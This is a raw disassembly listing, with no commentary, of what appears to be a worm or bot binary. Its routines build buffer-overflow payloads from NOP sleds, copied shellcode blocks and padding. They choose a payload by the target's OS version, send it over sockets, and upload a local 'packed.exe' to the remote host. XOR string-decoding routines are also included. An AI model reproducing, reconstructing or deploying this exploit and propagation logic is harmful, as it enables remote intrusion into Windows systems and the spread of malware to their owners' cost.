		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_410510
		xor	eax, eax
		jmp	short locret_41055D
; ---------------------------------------------------------------------------


loc_410510:				; CODE XREF: sub_410501+9j
		cmp	[ebp+arg_10], 0
		jnz	short loc_41051C
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_10], eax


loc_41051C:				; CODE XREF: sub_410501+13j
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax


loc_410532:				; CODE XREF: sub_410501+57j
		cmp	[ebp+var_4], 0
		jbe	short loc_41055A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		jmp	short loc_410532
; ---------------------------------------------------------------------------


loc_41055A:				; CODE XREF: sub_410501+35j
		mov	eax, [ebp+var_8]

locret_41055D:				; CODE XREF: sub_410501+Dj
		leave
		retn
sub_410501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41055F	proc near		; CODE XREF: .text:004168E1p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EAF0
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, byte_41EAF0
		mov	edi, esi
		push	10h
		pop	ecx


loc_41059F:				; CODE XREF: sub_41055F+47j
		lodsb
		or	eax, 80h
		stosb
		loop	loc_41059F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41055F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105AD	proc near		; CODE XREF: sub_406E8E+C6p
					; sub_406E8E+14Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jle	short loc_4105BE
		jmp	short locret_4105F9
; ---------------------------------------------------------------------------


loc_4105BE:				; CODE XREF: sub_4105AD+Dj
		and	[ebp+var_4], 0
		jmp	short loc_4105CB
; ---------------------------------------------------------------------------


loc_4105C4:				; CODE XREF: sub_4105AD+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4105CB:				; CODE XREF: sub_4105AD+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_4105F9
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EAF0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4105C4
; ---------------------------------------------------------------------------

locret_4105F9:				; CODE XREF: sub_4105AD+Fj
					; sub_4105AD+29j
		leave
		retn
sub_4105AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105FB	proc near		; CODE XREF: sub_401000+4Ap
					; sub_4043E9+1Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jg	short loc_41060C
		jmp	short locret_410647
; ---------------------------------------------------------------------------


loc_41060C:				; CODE XREF: sub_4105FB+Dj
		and	[ebp+var_4], 0
		jmp	short loc_410619
; ---------------------------------------------------------------------------


loc_410612:				; CODE XREF: sub_4105FB+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410619:				; CODE XREF: sub_4105FB+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_410647
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EAF0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_410612
; ---------------------------------------------------------------------------

locret_410647:				; CODE XREF: sub_4105FB+Fj
					; sub_4105FB+29j
		leave
		retn
sub_4105FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410649	proc near		; DATA XREF: .data:off_41CCFEo

var_1B78	= dword	ptr -1B78h
var_1B74	= byte ptr -1B74h
var_B74		= byte ptr -0B74h
var_B6C		= dword	ptr -0B6Ch
var_B64		= dword	ptr -0B64h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_280		= byte ptr -280h
var_276		= byte ptr -276h
var_272		= byte ptr -272h
var_23A		= byte ptr -23Ah
var_236		= byte ptr -236h
var_232		= byte ptr -232h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1B78h
		call	sub_416BC0
		push	48h
		push	offset dword_41A7B0
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410686
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_410686:				; CODE XREF: sub_410649+36j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	ds:dword_417248	; recv
		push	7
		push	offset a__	; "\r\n\\_/."
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_370], eax
		cmp	[ebp+var_370], 0
		jnz	short loc_4106F0
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_4106F0:				; CODE XREF: sub_410649+A0j
		and	[ebp+var_374], 0
		jmp	short loc_410706
; ---------------------------------------------------------------------------


loc_4106F9:				; CODE XREF: sub_410649+E1j
		mov	eax, [ebp+var_374]
		inc	eax
		mov	[ebp+var_374], eax


loc_410706:				; CODE XREF: sub_410649+AEj
		cmp	[ebp+var_374], 168h
		jge	short loc_41072C
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_374]
		mov	[ebp+ecx+var_36C], al
		jmp	short loc_4106F9
; ---------------------------------------------------------------------------


loc_41072C:				; CODE XREF: sub_410649+C7j
		push	0Ah
		push	offset dword_41A8A0
		lea	eax, [ebp+var_280]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset dword_41A8F0
		lea	eax, [ebp+var_276]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41A8E8
		lea	eax, [ebp+var_272]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset dword_41A8EC
		lea	eax, [ebp+var_23A]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41A8E4
		lea	eax, [ebp+var_236]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0Bh
		push	offset dword_41A894
		lea	eax, [ebp+var_232]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E6h
		sub	eax, [ebp+var_370]
		mov	[ebp+var_204], eax
		and	[ebp+var_1B78],	0
		push	18h
		push	offset dword_41A7FC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 18h
		mov	[ebp+var_1B78],	eax
		push	44h
		push	offset dword_41A818
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 44h
		mov	[ebp+var_1B78],	eax
		push	20h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 20h
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset dword_41A8AC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset dword_41A8E0
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset dword_41A8D8
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset dword_41A8DC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	58h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 58h
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset dword_41A8B4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	8
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 8
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset dword_41A8BC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset dword_41A8C4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_204]
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_204]
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_370]
		lea	eax, [ebp+var_200]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_370]
		mov	[ebp+var_1B78],	eax
		push	168h
		lea	eax, [ebp+var_36C]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 168h
		mov	[ebp+var_1B78],	eax
		push	0Ah
		push	offset off_41A8CC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 0Ah
		mov	[ebp+var_1B78],	eax
		push	32h
		push	offset dword_41A860
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 32h
		mov	[ebp+var_1B78],	eax
		mov	eax, [ebp+var_1B78]
		mov	[ebp+var_B6C], eax
		mov	eax, [ebp+var_1B78]
		sub	eax, 18h
		mov	[ebp+var_B64], eax
		push	[ebp+var_1B78]
		lea	eax, [ebp+var_B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410B36
		jmp	short locret_410B50
; ---------------------------------------------------------------------------


loc_410B36:				; CODE XREF: sub_410649+4E9j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	ds:dword_417248	; recv

locret_410B50:				; CODE XREF: sub_410649+38j
					; sub_410649+A2j ...
		leave
		retn
sub_410649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B52	proc near		; DATA XREF: .data:0041CD38o

var_104C	= byte ptr -104Ch
var_FC6		= byte ptr -0FC6h
var_BDE		= byte ptr -0BDEh
var_B9E		= byte ptr -0B9Eh
var_B7C		= dword	ptr -0B7Ch
var_B78		= byte ptr -0B78h
var_AF2		= byte ptr -0AF2h
var_88E		= byte ptr -88Eh
var_882		= byte ptr -882h
var_85E		= byte ptr -85Eh
var_852		= byte ptr -852h
var_82E		= byte ptr -82Eh
var_80C		= byte ptr -80Ch
var_7CC		= byte ptr -7CCh
var_7C8		= byte ptr -7C8h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	sub_416BC0
		push	7
		push	offset a__	; "\r\n\\_/."
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0
		jnz	short loc_410BAF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BAF:				; CODE XREF: sub_410B52+56j
		push	89h
		push	offset dword_41AF50
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410BEF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BEF:				; CODE XREF: sub_410B52+96j
		push	0A8h
		push	offset dword_41AFDC
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C2F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C2F:				; CODE XREF: sub_410B52+D6j
		push	0DEh
		push	offset dword_41B088
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C6F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C6F:				; CODE XREF: sub_410B52+116j
		movsx	eax, [ebp+var_7CC]
		sub	eax, 30h
		mov	[ebp+var_208], al
		movsx	eax, [ebp+var_7C8]
		sub	eax, 30h
		mov	[ebp+var_4], al
		push	3Eh
		push	offset dword_41B168
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410CC9
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410CC9:				; CODE XREF: sub_410B52+170j
		push	60h
		push	offset dword_41B1A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D06
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D06:				; CODE XREF: sub_410B52+1ADj
		push	0A0h
		push	offset dword_41B20C
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D46
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D46:				; CODE XREF: sub_410B52+1EDj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	loc_410E71
		movsx	eax, [ebp+var_4]
		cmp	eax, 1
		jnz	loc_410E71
		push	86h
		push	offset dword_41B2B0
		lea	eax, [ebp+var_B78]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_AF2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0
		mov	eax, 264h
		sub	eax, [ebp+var_20C]
		add	eax, 60h
		push	eax
		mov	eax, [ebp+var_20C]
		lea	eax, [ebp+eax+var_AF2]
		push	eax
		call	sub_410F60
		add	esp, 0Ch
		push	4
		push	offset dword_41B410
		lea	eax, [ebp+var_88E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_882]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_85E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_852]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	20h
		push	offset dword_41B338
		lea	eax, [ebp+var_82E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	400h
		call	ds:dword_41709C	; Sleep
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410E71:				; CODE XREF: sub_410B52+1FEj
					; sub_410B52+20Bj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	short loc_410E85
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_410E95


loc_410E85:				; CODE XREF: sub_410B52+329j
		movsx	eax, [ebp+var_208]
		cmp	eax, 4
		jnz	locret_410F5E


loc_410E95:				; CODE XREF: sub_410B52+331j
		push	86h
		push	offset dword_41B35C
		lea	eax, [ebp+var_104C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E8h
		sub	eax, [ebp+var_20C]
		push	eax
		push	90h
		lea	eax, [ebp+var_FC6]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_BDE]
		sub	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		and	[ebp+var_B7C], 0
		jmp	short loc_410F06
; ---------------------------------------------------------------------------


loc_410EF9:				; CODE XREF: sub_410B52+3DAj
		mov	eax, [ebp+var_B7C]
		inc	eax
		mov	[ebp+var_B7C], eax


loc_410F06:				; CODE XREF: sub_410B52+3A5j
		cmp	[ebp+var_B7C], 10h
		jge	short loc_410F2E
		push	4
		push	offset dword_41B408
		mov	eax, [ebp+var_B7C]
		lea	eax, [ebp+eax*4+var_BDE]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_410EF9
; ---------------------------------------------------------------------------


loc_410F2E:				; CODE XREF: sub_410B52+3BBj
		push	20h
		push	offset dword_41B3E4
		lea	eax, [ebp+var_B9E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4CEh
		lea	eax, [ebp+var_104C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch

locret_410F5E:				; CODE XREF: sub_410B52+58j
					; sub_410B52+98j ...
		leave
		retn
sub_410B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F60	proc near		; CODE XREF: sub_410B52+265p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_8], 0
		jnz	short loc_410FA4
		and	[ebp+var_4], 0
		jmp	short loc_410F79
; ---------------------------------------------------------------------------


loc_410F72:				; CODE XREF: sub_410F60+3Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410F79:				; CODE XREF: sub_410F60+10j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410F9F
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410F72
; ---------------------------------------------------------------------------


loc_410F9F:				; CODE XREF: sub_410F60+1Fj
		jmp	locret_41102D
; ---------------------------------------------------------------------------


loc_410FA4:				; CODE XREF: sub_410F60+Aj
		cmp	[ebp+arg_8], 7Fh
		jnz	short loc_410FDF
		and	[ebp+var_8], 0
		jmp	short loc_410FB7
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_410F60+7Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_410FB7:				; CODE XREF: sub_410F60+4Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410FDD
		push	5
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410FB0
; ---------------------------------------------------------------------------


loc_410FDD:				; CODE XREF: sub_410F60+5Dj
		jmp	short locret_41102D
; ---------------------------------------------------------------------------


loc_410FDF:				; CODE XREF: sub_410F60+48j
		and	[ebp+var_C], 0


loc_410FE3:				; CODE XREF: sub_410F60+ADj
					; sub_410F60+CBj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jnb	short locret_41102D
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], al
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_8]
		and	ecx, dword_41BB01[eax]
		test	ecx, ecx
		jz	short loc_41100F
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------


loc_41100F:				; CODE XREF: sub_410F60+ABj
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------

locret_41102D:				; CODE XREF: sub_410F60:loc_410F9Fj
					; sub_410F60:loc_410FDDj ...
		leave
		retn
sub_410F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41102F	proc near		; CODE XREF: sub_41113B+79Bp

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	0EA60h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411065
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_41106C


loc_411065:				; CODE XREF: sub_41102F+2Bj
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41106C:				; CODE XREF: sub_41102F+34j
		push	offset aRb	; "rb"
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_41109F
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41109F:				; CODE XREF: sub_41102F+5Bj
					; sub_41102F:loc_41111Cj
		mov	eax, [ebp+var_208]
		mov	eax, [eax+0Ch]
		and	eax, 10h
		test	eax, eax
		jnz	short loc_41111E
		push	[ebp+var_208]
		push	200h
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_20C], eax
		push	[ebp+var_20C]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_204]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_210], eax
		mov	eax, [ebp+var_20C]
		cmp	eax, [ebp+var_210]
		jz	short loc_41111C
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		xor	eax, eax
		jmp	short locret_411139
; ---------------------------------------------------------------------------


loc_41111C:				; CODE XREF: sub_41102F+CFj
		jmp	short loc_41109F
; ---------------------------------------------------------------------------


loc_41111E:				; CODE XREF: sub_41102F+7Ej
		push	[ebp+var_204]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax

locret_411139:				; CODE XREF: sub_41102F+38j
					; sub_41102F+6Bj ...
		leave
		retn
sub_41102F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41113B	proc near		; DATA XREF: sub_411BBC+156o

var_558		= dword	ptr -558h
var_554		= dword	ptr -554h
var_550		= dword	ptr -550h
var_54C		= dword	ptr -54Ch
var_548		= dword	ptr -548h
var_544		= dword	ptr -544h
var_540		= byte ptr -540h
var_53C		= byte ptr -53Ch
var_538		= byte ptr -538h
var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_52C		= dword	ptr -52Ch
var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
